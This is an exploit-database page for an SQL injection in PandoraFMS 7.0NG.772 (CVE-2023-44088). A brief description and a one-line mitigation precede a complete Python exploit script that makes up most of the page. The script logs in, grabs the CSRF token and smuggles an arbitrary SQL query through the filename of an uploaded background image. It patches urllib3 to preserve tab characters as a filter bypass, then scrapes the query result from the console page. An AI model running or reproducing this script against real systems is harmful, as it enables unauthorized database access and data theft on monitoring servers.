header-logo
Suggest Exploit
vendor:
PandoraFMS
by:
Osama Yousef
6.1
CVSS
HIGH
SQL Injection
89
CWE
Product Name: PandoraFMS
Affected Version From: v7.0NG.772
Affected Version To: v7.0NG.772
Patch Exists: NO
Related CWE: CVE-2023-44088
CPE: a:pandorafms:pandorafms:7.0NG.772
Metasploit:
Other Scripts:
Platforms Tested: Linux
2023

PandoraFMS 7.0NG.772 – SQL Injection

The exploit allows an attacker to perform SQL injection in PandoraFMS version 7.0NG.772. By manipulating certain parameters, an attacker can inject malicious SQL queries, potentially gaining unauthorized access to the database. This vulnerability has been assigned CVE-2023-44088.

Mitigation:

To mitigate this issue, it is recommended to sanitize user inputs, use parameterized queries, and implement proper input validation to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: PandoraFMS 7.0NG.772 - SQL Injection
# Date: 21/11/2023
# Exploit Author: Osama Yousef
# Vendor Homepage: https://pandorafms.com/
# Software Link: https://github.com/pandorafms/pandorafms/releases/download/v772-LTS/pandorafms_agent_linux-7.0NG.772.tar.gz
# Version: v7.0NG.772
# Tested on: Linux
# CVE : CVE-2023-44088

import re, requests, argparse, string, random, base64
import urllib3
import html

headers = {
	'Cache-Control': 'max-age=0',
	'Origin': '',
	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36',
	'Accept': '*/*',
	'Referer': ''
}

def login(session, url, username, password):
	res = session.get(url)
	csrf = retrieve_csrftoken(res.text)

	url+= '?login=1'
	payload = "nick={}&pass={}&login_button=Let%27s+go&csrf_code={}"

	res = session.post(url, data=payload.format(username, password, csrf), headers={'Content-Type': 'application/x-www-form-urlencoded'})
	if 'User is blocked' in res.text:
		print("Login Failed!")
		exit(1)


def exploit(session, url, imagepath, query):
	url1 = url + "?sec=network&sec2=godmode/reporting/visual_console_builder&tab=data"
	name = random_id(10)
	payload = "{}.jpg',({}),'1','1','1','1');-- helloo.jpg".format(name, query)
	payload=payload.replace(' ', '\t')
	files = {"background_image": (payload, open(imagepath, 'rb').read(), 'image/jpeg')}

	# Create a reference to the original _make_request method
	urllib3.connectionpool.HTTPConnectionPool._original_make_request = urllib3.connectionpool.HTTPConnectionPool._make_request
	# Replace the _make_request method with the custom_make_request function
	urllib3.connectionpool.HTTPConnectionPool._make_request = custom_make_request


	res = session.post(url1, files=files, data={'action':'save', 'name':name, 'id_group': 0, 'background_image': 'None.png', 'background_color': '#ffffff', 'width': '1024', 'height': '768', 'is_favourite_sent': '0', 'auto_adjust_sent': '0', 'update_layout': 'Save'})

	if 'Created successfully' not in res.text:
		print("Failed to create a visual console!")
		exit(1)


	url2 = url + "?sec=godmode/reporting/map_builder&sec2=godmode/reporting/map_builder"
	res = session.get(url2)
	x = re.search('(?:<a href=".*">)'+name, res.text)
	match = x.group()
	url3 = match.lstrip("<a href=")
	url3 = url3.split('"')[1]
	url3 = url3.split("?")[1]
	url3 = html.unescape(url3)

	url4 = url+ "?" + url3 

	res = session.get(url4)

	x = re.search('(?:var props = {"autoAdjust":true,"backgroundColor":".*","backgroundImage")', res.text)
	match = x.group()
	output = match.lstrip('var props = {"autoAdjust":true,"backgroundColor":"')
	output = output.split('","backgroundImage')[0]
	print("Query output: {}".format(output))

def retrieve_csrftoken(response):
	x = re.search('(?:<input id="hidden-csrf_code" name="csrf_code" type="hidden"  value=")[a-zA-Z0-9]*(?:")', response)
	match = x.group()
	csrf = match.lstrip('<input id="hidden-csrf_code" name="csrf_code" type="hidden"  value="').rstrip('"')
	print("CSRF: {}".format(csrf))
	return csrf

def random_id(len):
	chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
	return ''.join(random.choice(chars) for _ in range(len))

def custom_make_request(self, conn, method, url, timeout=urllib3.connectionpool._Default, chunked=False, **httplib_request_kw):
	body = httplib_request_kw['body']
	if body:
		body = body.replace(b"%09", b"\t"*3)

	httplib_request_kw['body'] = body
	return self._original_make_request(conn, method, url, timeout=timeout, chunked=chunked, **httplib_request_kw)


def main():
	ap = argparse.ArgumentParser()
	ap.add_argument("-t", "--target", required=True, help="Target URI")
	ap.add_argument("-u", "--username", required=True, help="Username")
	ap.add_argument("-p", "--password", required=True, help="Password")
	ap.add_argument("-i", "--image", required=True, help="Image path")
	ap.add_argument("-q", "--query", required=True, help="SQL Query to execute")
	ap.add_argument("-x", "--proxy", required=False, help="Proxy Configuration (e.g., http://127.0.0.1:8080/)")

	args = vars(ap.parse_args())

	session = requests.Session()

	url = args['target']
	if 'pandora_console' not in url:
		if not url.endswith('/'):
			url += '/'
		url += 'pandora_console/'




	headers['Origin'] = args['target']
	headers['Referer'] = args['target']
	session.headers.update(headers)

	proxies = {}
	if args['proxy'] is not None:
		if 'https' in args['proxy']:
			proxies['https'] = args['proxy']
		else:
			proxies['http'] = args['proxy']

	session.proxies.update(proxies)

	login(session, url, args['username'], args['password'])

	exploit(session, url, args['image'], args['query'])

		
	
if __name__=='__main__':
	main()